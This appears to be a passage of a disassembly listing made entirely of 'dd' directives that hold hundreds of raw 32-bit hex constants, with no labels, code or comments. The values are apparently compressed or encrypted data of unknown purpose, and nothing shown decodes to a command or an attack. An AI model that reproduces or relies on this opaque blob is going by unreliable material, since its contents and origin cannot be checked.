		dd 0BD010960h, 6BFA2C15h, 3E040920h, 7D968B61h,	0D99AAD17h
		dd 537AE118h, 0E038E6AEh, 0CD88D20h, 23B6B75Ah,	6D950182h
		dd 17B5ADFEh, 0A48C3400h, 145D0F17h, 0F174CCEBh, 0AA24A112h
		dd 8421B538h, 0D778376Bh, 9DC4946Dh, 96EE8EB8h,	87B08BF6h
		dd 8A155BBBh, 0BCFEC086h, 0B3880493h, 0B8666597h, 0D6B0A6ABh
		dd 7AC16F2Ch, 0BA12D900h, 0B5AA0CE4h, 8C0B4E1Ah, 3905088h
		dd 56114127h, 0B1F079DFh, 14D2873h, 4E8752Ah, 8C2B157Fh
		dd 5F9E2E8Bh, 79E2268Bh, 11DF2F28h, 0E87B6370h,	0F0F9979Dh
		dd 0B0FE8D8Bh, 0D6BBFEA5h, 5B071A46h, 0C1C7B721h, 6952D862h
		dd 85E14F17h, 0BB600496h, 8C8AE291h, 4E76BB05h,	96FB260Ch
		dd 261ADEDEh, 5C7A762Eh, 67BBC060h, 44BAF37h, 2895AC8Dh
		dd 9E4A89DBh, 0F2FAC399h, 50E5E8A7h, 0A6E72780h, 0CA569B62h
		dd 0C1C6CDA5h, 6A507282h, 9321C1DDh, 0BBC19C6Ah, 4A8E609h
		dd 0A0BC704Dh, 820CED20h, 792FAE56h, 5D7C8395h,	57D8EFCAh
		dd 400532A3h, 9F3A352Ch, 85BEC501h, 0DD6A6122h,	73E62B95h
		dd 29F194A3h, 0C0492A85h, 0B5DA72F8h, 0E34120CFh, 0E9FB60D8h
		dd 0E88CAFFBh, 6A5F2611h, 0E0024DB7h, 56C488AEh, 14A3535Eh
		dd 0AB605B12h, 0D623410Bh, 0B4E3C0B2h, 18095F7Ah, 5B61A312h
		dd 181C59D1h, 0E2C50E4Ch, 0D682085Eh, 67F952CBh, 0AFA6F9A5h
		dd 0AEBC46FAh, 4199FC40h, 33C3053Ah, 246C7C12h,	51C10C48h
		dd 1509BF49h, 71079661h, 3B44A5E4h, 2E3CCD00h, 0EDFDEB2Ch
		dd 0CC80B778h, 0B5723902h, 544BF9E4h, 0AA35F88Ah, 0CA6BB3Ch
		dd 3E55BDE0h, 1A7BED2Fh, 49BC0292h, 84F5092Dh, 19EC96BEh
		dd 9A58A680h, 4C0FECCFh, 73094F5h, 0EA02174h, 263F1697h
		dd 29398110h, 7B8C807Bh, 5F668441h, 213B5407h, 0D0670217h
		dd 80E8506Bh, 91282Fh, 3D4961BAh, 0FC1024C8h, 0BF075500h
		dd 0BBF471E9h, 0F5855AB6h, 0CA8C2FEBh, 25D105BFh, 0B6967975h
		dd 8927E047h, 0C7CC042Ch, 0DC45E380h, 9897F9FFh, 122BBB3Dh
		dd 6E3DE15Bh, 391B2340h, 95E7AA00h, 677B7A98h, 0D3FE8A26h
		dd 798B8709h, 9608912h,	0D7D192DFh, 65A57DD9h, 1A781AE5h
		dd 12DE9E54h, 4F86976h,	0AA29A57Eh, 104D2CCBh, 0D15BE7ACh
		dd 75D221E1h, 1FBE846Eh, 0C76303D4h, 0B3ABA9E0h, 0F1ADA82Eh
		dd 800EC5A5h, 4871F381h, 0E9253925h, 312356ECh,	6A03598Ah
		dd 9A2AFDCDh, 0C62D84EDh, 276D9980h, 159413D8h,	0F96504E6h
		dd 0D780020Bh, 783A57F0h, 4850DCD3h, 76B7C93h, 707F0795h
		dd 0F9537BA4h, 57CB8211h, 0AF5BFB24h, 64BBCC90h, 1A4A27F6h
		dd 9DF4F4DEh, 78FC7C09h, 0D87A6A17h, 6EECD100h,	0FE4DBEF4h
		dd 1C664317h, 2252A505h, 0F5A09602h, 1BF6907h, 525222Ah
		dd 1E5C1CE2h, 4B306013h, 38D06F51h, 5F8008ABh, 0C5C8E446h
		dd 0A016396h, 0A7A45CCFh, 70705ED6h, 505F2F61h,	0AC007764h
		dd 0C4B4955Bh, 0F851B3C2h, 0BC904F05h, 0DFEED8FBh, 0D0B49B6Ah
		dd 0FF17F853h, 9BFF96C8h, 25E4D055h, 862E608h, 9199D0Bh
		dd 10F0DC52h, 0D1FF1614h, 90801C9Bh, 0CBCCF0F5h, 0B4F4195h
		dd 38FECE6Ah, 0E4A74F6Ch, 9E40D6A2h, 0C69525E1h, 54DB553h
		dd 23F0E840h, 1CD20BDh,	0D9185595h, 2B41C19Dh, 4E11A31h
		dd 88B38114h, 618A2B80h, 2C65804Fh, 3C4AE91Dh, 0AA8938E3h
		dd 377F5209h, 5A08310h,	0DBE02EA4h, 0B7258832h,	0AD39EE34h
		dd 0AB16113h, 0DF28865h, 50900012h, 286D7DBBh, 7B906C90h
		dd 0E517AD25h, 10442520h, 92DA1C07h, 84F0BEACh,	16E98Ah
		dd 6BDF25C9h, 26801BB0h, 0D3F964D2h, 38E25F25h,	2D46BFD5h
		dd 0A83B13DFh, 956DEED9h, 0ED7F72E2h, 0D81B642Eh, 2B01FED3h
		dd 40DE0CB8h, 0E1730D18h, 0BF4DB900h, 2A726C9Fh, 6A2D4FE6h
		dd 7FC37FFh, 35EDB0CDh,	6405BEDCh, 685DA81h, 16617CF5h
		dd 802D10FDh, 42ECFB25h, 0C13C5B45h, 1C94F180h,	0B01A653h
		dd 572551D4h, 0FC7A90CEh, 0E1E3967Bh, 0C4565F27h, 65C3E384h
		dd 20EEA812h, 71E42503h, 9D047CF3h, 0CCAA24A9h,	87C2189Ch
		dd 5EE8F780h, 0FFB30538h, 0B1B12BAh, 5E6BC13Dh,	392A81ACh
		dd 3D252F23h, 12B2630h,	6F5E00B3h, 4EC3A787h, 26031435h
		dd 83157B80h, 0D1BDFC1Fh, 2C51BD82h, 41AE5F04h,	0A0CF8160h
		dd 32A16ABCh, 7F176E99h, 92130D1h, 60E92140h, 0EF8149B9h
		dd 2A2E63C8h, 50025E44h, 6C47554Ch, 0EDCE800Dh,	60929720h
		dd 0B300E359h, 0C4AED767h, 828801ACh, 66169C68h, 3DA28A49h
		dd 0C52E1B0Fh, 9B7C453Ch
		dd 5927D480h, 0A34EB6F1h, 7A5BB309h, 0F8124484h, 0B787C495h
		dd 576972F6h, 3955EE89h, 21F131CAh, 253D7ACEh, 7DE2B8DAh
		dd 7A0BCC5Fh, 0E92F40BDh, 51344h, 663BC382h, 44748D84h
		dd 7216D00Eh, 538E009Ch, 975864B8h, 0B50195B0h,	897F48BDh
		dd 92A3A495h, 0BAEE2590h, 8F2090ECh, 86599575h,	5D2AC80h
		dd 3EA09Eh, 17937472h, 0E9B52934h, 0CE59E3CBh, 23012026h
		dd 0DB806109h, 0F4BDD574h, 0E540C104h, 31619285h, 0B72A3195h
		dd 9A174EFBh, 330C61B3h, 0B92B11BDh, 0FB10C625h, 0A985D0C1h
		dd 0CE60C628h, 0DF0FA534h, 95DA1B8h, 300CFB8h, 7EAB8EA8h
		dd 4842E643h, 747C94BFh, 10527FE0h, 321CED9Dh, 5E4578FCh
		dd 0E362E9B1h, 0EE20E593h, 0E6BA4D2Eh, 27001BFCh, 124FBEE6h
		dd 0F5CB780h, 0FA7BFCCh, 0BF796BA9h, 210D3E8h, 0EAFCDE8Bh
		dd 2DEFFCDCh, 76F1FA22h, 11F4F780h, 0C8FDBCh, 30FE6864h
		dd 3677B202h, 52485B7h,	87D064AEh, 0F71CA49Bh, 43C84EF8h
		dd 1EE100C7h, 78D38F56h, 0AD0EEF0Dh, 9DC014Ah, 84A079CEh
		dd 0D29DB531h, 0FA7156FCh, 0B1E3C00h, 7A63E6Ch,	0C003E7C8h
		dd 142160D9h, 472D31F2h, 73A971E0h, 0FCDC410h, 2DB50904h
		dd 98CEAA28h, 23D992Dh,	6B771D80h, 38146348h, 0DC5BB8A4h
		dd 8600BD38h, 2BB5C5F1h, 3305B69h, 5F254979h, 68E9539Dh
		dd 6E9D6BE5h, 0AB6A6Bh,	0AFC66B85h, 0BB18197h, 21DD9529h
		dd 0B5696C5Ch, 3D2B80DFh, 7AB626E2h, 302E974h, 19BD01B1h
		dd 7B677509h, 3D275B1Fh, 7B0807B2h, 64C7E0DDh, 214BC926h
		dd 453092CAh, 0D99D0955h, 38E31B4Ah, 102FC84h, 1A65B589h
		dd 54E78110h, 7EE4A412h, 9B2A6FF1h, 5B6A8CCAh, 2E2C4145h
		dd 0D2BB4F07h, 5E5F54D2h, 20DB9C2Bh, 0A48479B5h, 0BD29C0BCh
		dd 0BA972609h, 7BD39811h, 0BFDA5E4Ch, 522ED32Dh, 0C97AEE05h
		dd 0AB444A25h, 19BFBB04h, 0EB3418D3h, 0BF6A528Ch, 0DA406D56h
		dd 33C453h, 3651675Dh, 2807B8BCh, 23EB000h, 0A7E75C40h
		dd 6A6806E3h, 68FC0EFFh, 31EEB72Fh, 689C81B1h, 6E10DD95h
		dd 4AB5115Ch, 1CC8CCDAh, 2A9497C0h, 8EAB06BEh, 78EB7584h
		dd 0CD8DDE4Bh, 0C4B2B87Eh, 3AA2FBBFh, 2B89CD4Ah, 55A78116h
		dd 4A0AE75Fh, 7BFB68C4h, 26A304C8h, 0B6C55195h,	50856FBh
		dd 0AB41A56Bh, 37E3A370h, 0D21283A8h, 24291739h, 22A02482h
		dd 0E6820860h, 485C1105h, 246ECB4Bh, 11205009h,	0A5007E0Fh
		dd 33227E28h, 0F11163h,	9D441FFEh, 0F88B8E7Ah, 965B5F14h
		dd 0C08DCE86h, 0F4352E37h, 8C604BDFh, 0C4C95729h, 687F80F7h
		dd 648EE673h, 0ACF97855h, 0E58C0BFFh, 253F5091h, 0FF6E30ADh
		dd 213B79Dh, 0FD8A90C9h, 0D004EE2h, 0F7935437h,	0AA59DE1Fh
		dd 39BC6D40h, 32185E4h,	532D40B9h, 9F16FDC1h, 16E6905Bh
		dd 0F50B0DE0h, 0B309797Dh, 505E7B73h, 6F0248A4h, 0A81EA9E4h
		dd 1041004Fh, 16CBD13h,	0EAB52585h, 7098FB47h, 567D055Ah
		dd 842ADA16h, 47157BAAh, 67710084h, 45D2EC75h, 0A6FE2566h
		dd 9D0423E4h, 0B5632F1h, 6346CAC0h, 0BB66047Ah,	0AC5B8F29h
		dd 8411A349h, 205A521h,	0A6585CE9h, 52A916F3h, 0BA3DB34Dh
		dd 0CB0D546h, 9B12C994h, 0F6AA6AB9h, 44AEE441h,	0D8880FEBh
		dd 89BDFE80h, 454759A8h, 4F7BBE0Bh, 952FD26h, 3A7908B9h
		dd 5851DCC6h, 0C5C898Bh, 0A8F2E24Fh, 47940272h,	45414AEDh
		dd 23492E60h, 0B3583997h, 72B5D5EAh, 0E0961791h, 0FC4B8067h
		dd 5C0F5E9Dh, 35780C0h,	0E2002AF0h, 73D7819Dh, 4E6EF7A6h
		dd 22C82096h, 9C00EBCDh, 3735834Bh, 2F0AFF2Ah, 0DFF11243h
		dd 90890F09h, 5B2B53D1h, 7017EFBDh, 7A1E4DF5h, 8A2DC180h
		dd 0FC0BBB38h, 5666A314h, 1A46D693h, 3546DE00h,	16506D9Ch
		dd 810097BBh, 0C412BCCBh, 1CB29756h, 7D47E27Fh,	98951A6Eh
		dd 2895097Ah, 251212F5h, 4A7310E9h, 1DCBCAEh, 8A3637E1h
		dd 38509F13h, 0EB2283F2h, 0A03EBFDBh, 3DCF511Eh, 0E5195BEh
		dd 6BAA5F93h, 1B234Eh, 234222E7h, 4524BBF9h, 7D08B3B5h
		dd 0BF68A51Ch, 97861725h, 2A009DE4h, 7AA7485Fh,	9882440h
		dd 73B6C16Ah, 81023EE6h, 0D0B18EDFh, 6EC35C3Fh,	8A04BF6Fh
		dd 96A4B873h, 7106FBAh,	0B3F489DFh, 7123FA51h, 0BD5DBDC8h
		dd 0B72F2174h, 0C2A39F88h, 0D8BDA7D1h, 16C4764Dh, 58967860h
		dd 516589BCh, 0B5C6C3D1h, 72608671h, 0BFE549D9h, 0DDC8F83Ch
		dd 89A4F605h, 0AA412416h, 9A7A0B9Dh, 41388039h,	73804BABh
		dd 831497F6h, 0F42CA5E3h, 15BEDEE8h, 9E8D0150h,	2B60898Bh
		dd 5D909277h, 9268984h,	4BAFD061h, 1355F851h, 0A4A0DF8Bh
		dd 0C7BF0560h, 0B26C5563h, 548B00E6h, 6ECAB287h, 0ED50072Ah
		dd 10BB776Dh, 792BA40Eh, 0DB545969h, 465770EFh,	4C432C0Ah
		dd 0FCC4BF62h, 0B69974AEh, 5CF7A08Dh, 38A2010Ch, 9271DF4Bh
		dd 0C8A32F31h, 10DABF02h, 35DD0CBEh, 8115914Ch,	5CB7A2ADh
		dd 517D312Eh, 2E5FD9B3h, 24DA7329h, 0C780AC56h,	551B5F57h
		dd 44DDBF3Ah, 3D9D1230h, 7F41E231h, 1C8BDE4Bh, 8C830F17h
		dd 2C404916h, 0F3EA25E9h, 1FD522C8h, 6070AD8Ch,	0A002DEFEh
		dd 44E5F205h, 651F860Fh, 8B95BD2h, 79798A89h, 0E9BB670Eh
		dd 4A897530h, 48277354h, 831A10F2h, 9078B7E8h, 5DB795h
		dd 0B7DBA78Fh, 0BB0551D1h, 4D72B420h, 813E89B8h, 982739F9h
		dd 0DA541069h, 0B2D78C0Ch, 8042FDAh, 28A4B960h,	781995A1h
		dd 6D0589B6h, 4CFC573h,	131269E0h, 90CD0EAFh, 0B2D58189h
		dd 8BC38823h, 0F450C744h, 0FC6F8A41h, 0DA18D899h, 6D90E261h
		dd 8512CBF9h, 9501600Ah, 0FCDA56BAh, 16FA8014h,	28C1A4h
		dd 0D00D6B7Ah, 0CBFB1039h, 168C8148h, 46AD612Fh, 0A8DDF9D6h
		dd 0E2D20103h, 23D5F975h, 40D06BFAh, 953055BDh,	35A55EC5h
		dd 0CFF425ADh, 795AD646h, 1D1A9781h, 2F50C0D3h,	6D551282h
		dd 3A2AFh, 0D57D95BAh, 0BD588Fh, 0A58BA6D3h, 0A770987Bh
		dd 4C3ED20Bh, 4B2C7051h, 22338A5Bh, 0B48BEC73h,	2587442Eh
		dd 0B5D7981h, 0E6A6A02h, 4502EA6Ch, 506B4F19h, 24897E57h
		dd 3404ABDAh, 618DEF04h, 0EA6A2Ah, 975F9F68h, 555DA71h
		dd 51952975h, 0AE2CBB09h, 0E83F4AD3h, 759FC94Fh, 74DAFA13h
		dd 0E4713A5Ch, 0A66BAB21h, 0F01CF077h, 0E8A8128Dh, 0A836E2D5h
		dd 0C42802DBh, 17358D29h, 0F5BF925Fh, 6900D759h, 0FD544916h
		dd 8AB4A490h, 40DE5CB1h, 0EBA5CC5h, 6DF3F700h, 3C0A1E2Dh
		dd 0FB9E65Dh, 10CD1DBh,	0B7555BE9h, 941C1178h, 5A3F0024h
		dd 0BD20D5A4h, 5D3297ABh, 0FE88F655h, 6A629095h, 456D9DFFh
		dd 0A3A850C5h, 65170B72h, 0AC027954h, 7E551A31h, 69C06049h
		dd 4F09F252h, 737B9926h, 27E31927h, 0C3D2089h, 1084B081h
		dd 1221C1B5h, 218510B0h, 23022845h, 5C1AA99Dh, 0A8BD640Ah
		dd 1319849Eh, 890DB012h, 2D4A81B0h, 1E9663ADh, 3141B89Ah
		dd 0BB602E8Ch, 97316FBFh, 71741509h, 0B3F44025h, 0C82B2C1Fh
		dd 0E00A091Ah, 0BD12EF58h, 65AB01E9h, 15EBC81Ah, 7E5739h
		dd 0A54B4EE1h, 5852F03Bh, 493DFF93h, 0E2444C70h, 0FA9FF522h
		dd 0D8BF37AEh, 0AEF9040Ch, 32E64F76h, 3F752A61h, 9DEF8120h
		dd 3B9C2554h, 0D9B7CA66h, 0C1B342FBh, 0BFC0A456h, 51CE992Bh
		dd 4C04C740h, 678043B8h, 5D655C1Eh, 24ADF90Ah, 0DF128CE7h
		dd 5509AFB6h, 70F40786h, 549A00DEh, 96CC4D74h, 0B33558E4h
		dd 0DEA64A7Dh, 38E396E0h
		dd 60B6225Ah, 0F93019B2h, 0C5A209D3h, 0B98F1F8h, 0DC394205h
		dd 0F22809Bh, 0B73336BEh, 0E0C81C19h, 9100BAA0h, 0E58A60DAh
		dd 0F900BE66h, 535B6114h, 0A801B95Fh, 4ADB80E6h, 0BCB3C50Dh
		dd 0EE262060h, 71852431h, 0C02B8983h, 529D66C4h, 42EE0072h
		dd 3C73C677h, 0B0975714h, 4E2B5BB4h, 21AA2D2h, 0BD48D5FCh
		dd 2E3657C3h, 5076FBB5h, 9A250FDEh, 0C1324D6Ch,	6FEAD87Dh
		dd 254BE0E3h, 0B54504C2h, 9DDAA1Bh, 4DBED22Eh, 0CD563D56h
		dd 6BE2EF2Eh, 0F309B56Eh, 6A981260h, 9002D43Ch,	9CC110FFh
		dd 51615639h, 0FC28A764h, 8C25DE00h, 225C64A5h,	950009E8h
		dd 6115A1A7h, 4F24BA52h, 7F24B57Ah, 15C8C5DAh, 0DEE73AC2h
		dd 3100Ch, 0FABFE1FFh, 9536572Ch, 9C382C94h, 6EAB5E04h
		dd 23D00DF9h, 282A600Fh, 44B8A28h, 0DE84FBDh, 2DD6CC39h
		dd 0CDD7C0F1h, 499C951Ch, 0C969206Eh, 0C6AC128Eh, 0AD5D0276h
		dd 9A42E3C0h, 694C4075h, 99BE860Bh, 0D3344225h,	0CD36702Ah
		dd 9AB23704h, 51AD7F31h, 69016F10h, 0D3585D72h,	449915BFh
		dd 4A4EADBCh, 0C08E9BAEh, 0E4D5F0D4h, 999CC491h, 8036BD29h
		dd 0CC9BF27h, 58470019h, 73082C05h, 0F217633Eh,	0CF75056h
		dd 32B8AEB4h, 4CB88896h, 0D0EB6104h, 78C0D357h,	97A594Eh
		dd 1562402h, 0AB041784h, 0D1FC8F22h, 82DA4A3h, 680109E5h
		dd 77E202E9h, 0FD6F540h, 0BFA0A488h, 0A507B5E4h, 0AD206501h
		dd 0A83A8430h, 0A926055Fh, 0EE5B68E1h, 1716E4E0h, 0EE77FD01h
		dd 0FA80399Bh, 1A5CA552h, 9E2E1FB8h, 17043575h,	52A9F9BDh
		dd 168C1CACh, 64CB93A8h, 0C1BEA867h, 8F0F88B3h,	61C4283Ch
		dd 20C4428h, 25107ABAh,	0E4AEC316h, 568DCBFFh, 922EB09Fh
		dd 19E60B58h, 302D6C9h,	15D55BDEh, 845C45D9h, 5B1BADC3h
		dd 9D4F036Fh, 15342B23h, 0B9D7B2DBh, 9F8928C3h,	970AFA4Dh
		dd 8DE0C8h, 0F8CE8F1Bh,	12306EB0h, 0AB10D595h, 0D3002499h
		dd 0E105B73Fh, 39099EECh, 9492110Bh, 6042E15Bh,	14405D3Ah
		dd 0A8BB3B96h, 503B1B3Eh, 0FE6A7207h, 0CB5EC93Eh, 230805DCh
		dd 0C15CC73Fh, 2B108D74h, 621031AAh, 2AF9C05Dh,	16702117h
		dd 0FEBA12AAh, 2026E429h, 7EAF1B7h, 0BF3FC48Ah,	2E0C6C09h
		dd 0AC145728h, 4B46F897h, 0A9C0C0D8h, 7E1A695h,	0F9D351D7h
		dd 0F2639E5Fh, 0B003B253h, 98C2FDB5h, 1C4CC4h, 0EA1FE4ABh
		dd 7D80185Dh, 8C0F5217h, 4522CF65h, 3CC658h, 5E6C2BA2h
		dd 858DE892h, 0AFB81F95h, 0BDA4965Fh, 22A55584h, 9571200Dh
		dd 0F3004C42h, 75735510h, 4FE1F080h, 0DA6BC2F1h, 3109DC64h
		dd 7329C995h, 62BF8096h, 6120E4FCh, 0C7CDB325h,	17EDA554h
		dd 0E4B64840h, 0AF840478h, 0AC7797A5h, 5F3EA353h, 80CC9B33h
		dd 345F8673h, 789A677h,	0D52C608Dh, 0B4E2EFB8h,	0E07754FFh
		dd 0C022E92Eh, 5EBB5225h, 1B2553AAh, 5C6DC75Bh,	2F59849Fh
		dd 0F18E0513h, 98CCE21h, 0BD045E85h, 3B50AFF4h,	6686B431h
		dd 382E30FDh, 44E2B30h,	0D6A011A7h, 0B1EA3E8Dh,	37B71106h
		dd 25E22BBCh, 55C520B9h, 50A6D3ADh, 8304E288h, 9463C8C2h
		dd 3F7BDDFFh, 1E00376Ah, 23B21610h, 0C6178B29h,	9E3058CFh
		dd 725C8C4h, 0E08C30A8h, 7BAC6104h, 748FC4A1h, 57860B97h
		dd 6489683Dh, 9FE5C453h, 5B17B4E5h, 342BA3F1h, 0F3678C95h
		dd 0FD8CFB09h, 918F8198h, 0F3407DBBh, 0B45F44C8h, 5DB309A9h
		dd 9B569B87h, 0FB4B6456h, 8E8B70B8h, 7839A427h,	3E14976Ah
		dd 5FB0604Eh, 3A0F41D5h, 4E8D4CF4h, 8BE7875Dh, 0A5BCB57Fh
		dd 470194ECh, 5E569F69h, 0DCD3BAD4h, 1961A2C1h,	5AC2B72Ah
		dd 0B1462720h, 911D09BCh, 78720BD5h, 0F43C9Ch, 2BFAFBB1h
		dd 0EF819FE4h, 3C191E1Ch, 1293C6E5h, 41C1BD01h,	659D234Eh
		dd 0BD8B7A24h, 4FF26A4Fh, 37E335A0h, 920A2086h,	635CB823h
		dd 0E304DA96h, 65B811C9h, 108F0F83h, 88BC454Ah,	0FCA00E8Eh
		dd 6207D286h, 0AB84909h, 0EA215CB6h, 7A00D6AAh,	5380C92h
		dd 353FCECCh, 0AD94F218h, 84C54A29h, 10F7BEFh, 0D7FA0F3Eh
		dd 428E4DCBh, 294CB531h, 36E3855Fh, 0EDA75B38h,	6F2ED1B0h
		dd 0B866D702h, 620B4C81h, 7D67A9D8h, 18914735h,	0D4843F83h
		dd 8D8971D0h, 722C112Dh, 9D0F7833h, 0F3EE4971h,	1596BAE4h
		dd 7739BD23h, 0E28C19BCh, 382B007Eh, 9509175Ah,	519D041Dh
		dd 0FF536BCFh, 6B00650h, 0D980D4ACh, 0C520EEE6h, 9D310913h
		dd 1CD504E1h, 1B2DFFD2h, 90BC7ECh, 0F22E8D9Dh, 28A22E1h
		dd 874895A2h, 0AC56C780h, 97215F9Fh, 0A73A2D79h, 73F52D87h
		dd 181459D7h, 0DD8A2515h, 660855C6h, 5942A2BFh,	0B5891051h
		dd 92054ECDh, 0B5F0E5D4h, 592B5395h, 182181Bh, 0E6EFE05Dh
		dd 28199376h, 0A212807Ch, 0E4A5DD8Eh, 0A212D1C6h, 29015389h
		dd 2A20B19Dh, 58A1CFh, 12236D10h, 7FE18FE9h, 0A7B8503Dh
		dd 0D48B6F2Dh, 8F8907C3h, 0B555C921h, 80199108h, 94272987h
		dd 901625BAh, 1FA6847Eh, 0D7E55760h, 4BEC075Ch,	76809033h
		dd 0EBEA6C2Dh, 0F3957975h, 0D0157902h, 374E6C72h, 3C180720h
		dd 89300ECBh, 3DE090D7h, 80547641h, 0FEEC5961h,	9B2B0813h
		dd 6091C0A5h, 9D850FC0h, 316A9DD1h, 71223109h, 384025B5h
		dd 12F7B8Ch, 57BB6A8Dh,	5E5713E0h, 0F440BFB6h, 62C9EDh
		dd 0E0C1AC2Bh, 0D7BE6661h, 45F5085Fh, 5722B4Ch,	50C9BBCDh
		dd 1412BD32h, 93E2103Dh, 306C3DB1h, 0A8CCF25Fh,	7E624CB1h
		dd 89083209h, 86C97856h, 4A69264Bh, 4A8DF3D1h, 722225CAh
		dd 1A934195h, 46029398h, 32992D15h, 0DD342193h,	0EC80FDACh
		dd 73609ADBh, 0B8E31600h, 0EE097B14h, 273AFA9Dh, 7001B6C0h
		dd 0F65B6288h, 0F4497956h, 9900DCA3h, 7940855Dh, 4E8A28B9h
		dd 0C4F0B9D9h, 29011CB1h, 0F6091985h, 0E9F9B700h, 0A067B552h
		dd 73140809h, 46F5D224h, 0C8E84FB3h, 13003DD1h,	0C5823FF8h
		dd 124C5818h, 0A95D35E1h, 6B8B8857h, 0DCD3F4h, 3B05B1A1h
		dd 0B4833C90h, 540B5A27h, 69EEC89Ch, 0D0698D5h,	635A0F1Ch
		dd 5380F8AEh, 20660FDAh, 0BE682400h, 8E3E84D9h,	9D82F6E1h
		dd 28F92719h, 73885EC5h, 6CBF0E64h, 0D6A07E92h,	97541B94h
		dd 298F0C00h, 3C2A227Fh, 1644985Fh, 0ADDD63BBh,	0FFFBC9D5h
		dd 419DD6B8h, 0CA991042h, 6ABC3409h, 0B8E92DFBh, 8AF900A0h
		dd 0E0AEBB4Ch, 0D0BF78D6h, 1205201Ch, 781ACA82h, 2E758E61h
		dd 0DFB0F3F7h, 3D0559ABh, 0A469AAD8h, 0BB5F45A2h, 918A7620h
		dd 5C30975Fh, 51820172h, 46F303E1h, 0FC88BA30h,	0F572FEA7h
		dd 3E133B02h, 76B0BE83h, 89AC8D5h, 0E6092E51h, 0CD980270h
		dd 0A77F0911h, 5DF4EFD1h, 2A2C3922h, 891C4B51h,	9F207F6Fh
		dd 0EA0DC21h, 2E6C1BCCh, 0A0CA87C7h, 93693310h,	1F3BBA07h
		dd 445AF9FBh, 9139942h,	611F788Ah, 0E0E7BECEh, 0DE015C09h
		dd 6B431990h, 8AD0C2B4h, 97E27EFEh, 35928F0Ch, 5EFF45D2h
		dd 55DEADDDh, 1602FA50h, 0AA753DA4h, 60F84904h,	363B4AE2h
		dd 0C4A54A00h, 683D291Dh, 441C334Ch, 8B376192h,	2B146AD1h
		dd 0AAB0E904h, 7BEDA79Ch, 4590299h, 277F148Ch, 9D559E2h
		dd 55D35F9Dh, 0F2348E92h, 0F925B9ACh, 75C99154h, 0C177709Ah
		dd 8FA531ABh, 8622AA52h, 9C4C9F0Bh, 2DB45E24h, 0C68FAD3Dh
		dd 0F9DF5FE7h, 8AD7DEF6h, 8CD645E2h, 3A50E916h,	33A8810Bh
		dd 6F25E46Ah, 90F5C630h, 88DE4BABh, 0F5A61DF8h,	712A852Dh
		dd 0D9324C35h, 95958929h
		dd 73D88B09h, 975605EBh, 0F043B607h, 35A88A3Dh,	0F8896ACFh
		dd 0C506255Dh, 0BDB550CCh, 792E1190h, 71ADA8AAh, 0D2B9897Bh
		dd 2BF3FDABh, 0DCC90770h, 0B82856B0h, 0BCA69326h, 7B1C3CE0h
		dd 1620F6BFh, 9359FCC6h, 0AC590900h, 0B5CD304Fh, 0FC127CC5h
		dd 72824ADBh, 907DC02Bh, 0F4CE2902h, 0C98A0064h, 0AEEE08E1h
		dd 80092C9Dh, 40AC6CC1h, 4A5BD849h, 0F8E5F9BAh,	22F82CC0h
		dd 0E5741C2Ch, 2EA136EDh, 27CB17F8h, 7D6DF80Dh,	0D8D135C7h
		dd 83BBF4Bh, 70253031h,	12EF25DEh, 3D7743E2h, 0B64200F2h
		dd 4C9B76FEh, 48877A03h, 0ACE381FFh, 7D0533C2h,	0CC698C6Dh
		dd 7ED2077Ah, 6007A9A4h, 0FB9D37EEh, 7169A7BEh,	5C59AD93h
		dd 2F174676h, 285A7E9Eh, 2465258Fh, 55C4E459h, 8065A053h
		dd 568FE725h, 1546D43Ah, 51E7870Ch, 324059F2h, 0DBE0A05Bh
		dd 0ADB64AB9h, 800F8831h, 50A7CE44h, 74EC58E0h,	1270FD16h
		dd 0B0DC2901h, 5620E1FFh, 0CA9B4B2Fh, 4DB33B74h, 4B72EC21h
		dd 3571CA57h, 0B28747A4h, 4EBCDE24h, 23015DA3h,	39B8DCBFh
		dd 6ED86012h, 637225B4h, 0AB0441E2h, 5E41BCDAh,	85E333B6h
		dd 1714C498h, 229CBF4Ch, 3944B513h, 2B8AFE01h, 1EC2B1D4h
		dd 2000F02Fh, 9DCC5F81h, 0A81B4AD5h, 0A40DC8E0h, 5246A5C6h
		dd 0BDA8FC4Ah, 499B0BAAh, 72FE8B90h, 82EC97E9h,	54B50BB5h
		dd 0AE00F485h, 5F292FAFh, 25807BB1h, 1265F4D3h,	50DD8A05h
		dd 6047DE58h, 15BA1266h, 422DEF45h, 8457957Fh, 66D30162h
		dd 2B472BBFh, 0E18C0025h, 0BB9B30A3h, 45665A36h, 1170B200h
		dd 998D13E0h, 0E416FE10h, 0DC789458h, 5BE66A01h, 0D5228037h
		dd 25850F20h, 0E32E1F01h, 0FF48C5F2h, 444D588Fh, 0E92469BCh
		dd 0F5920C62h, 1676FDE3h, 0AA1799BDh, 46E10075h, 0B432E67Fh
		dd 0E8802DEDh, 6E9D0B5h, 9B92088h, 0F6A116F1h, 0C97784E4h
		dd 8EC11200h, 0E0555742h, 0ADD40977h, 38556ED1h, 841BA1A6h
		dd 0CC959CB2h, 0E3104413h, 8363D3B5h, 0CE8D6692h, 2E659AB1h
		dd 816FB612h, 0C8304A7Eh, 6B002858h, 6CB88BDBh,	0CC4CB5h
		dd 0C17817E7h, 4D3FBF50h, 8B689E2Dh, 0DC7B5640h, 1B335A10h
		dd 257FDB1Dh, 0BAF665Fh, 572BA4CCh, 0D4591D89h,	0E51D0FA4h
		dd 12687EE0h, 42EBC539h, 5F704E7Fh, 27358057h, 951459CAh
		dd 0BF1837B7h, 97E01A50h, 3DF1961Ah, 0B7C91C25h, 0C9BB5198h
		dd 4A1E233Eh, 6089C8EAh, 6EE3F0C1h, 88266149h, 47DF93Ch
		dd 979855C7h, 0EC78B90Eh, 0B9308C15h, 0CDCB7634h, 9994953Ch
		dd 2B9E535Bh, 772FDDC0h, 3616A40Dh, 3AACAD89h, 501CE110h
		dd 2341F5C5h, 0E0498660h, 0E9631A96h, 52464733h, 5939FB16h
		dd 8300FCF7h, 480491Ah,	244B3845h, 0FABC8B8Eh, 43811497h
		dd 0FEDA4BD5h, 0EC316980h, 65249FCEh, 23048EFEh, 12D0D9BDh
		dd 62810F5Bh, 0DE8A3302h, 955AF596h, 37B734B7h,	0F4B2D026h
		dd 9BF2A862h, 32237F5Eh, 7DB8D824h, 6F092FDAh, 52F82EEh
		dd 7EF3D2Eh, 0E0A2B796h, 990B7116h, 9355BF02h, 56F84AAFh
		dd 9D296198h, 0BBD5CECDh, 0FF85A22Ch, 0BA50E924h, 4D8A438Ch
		dd 0F85162F9h, 1AAABDF7h, 0D574C1CEh, 0A01800F6h, 8EF69DE8h
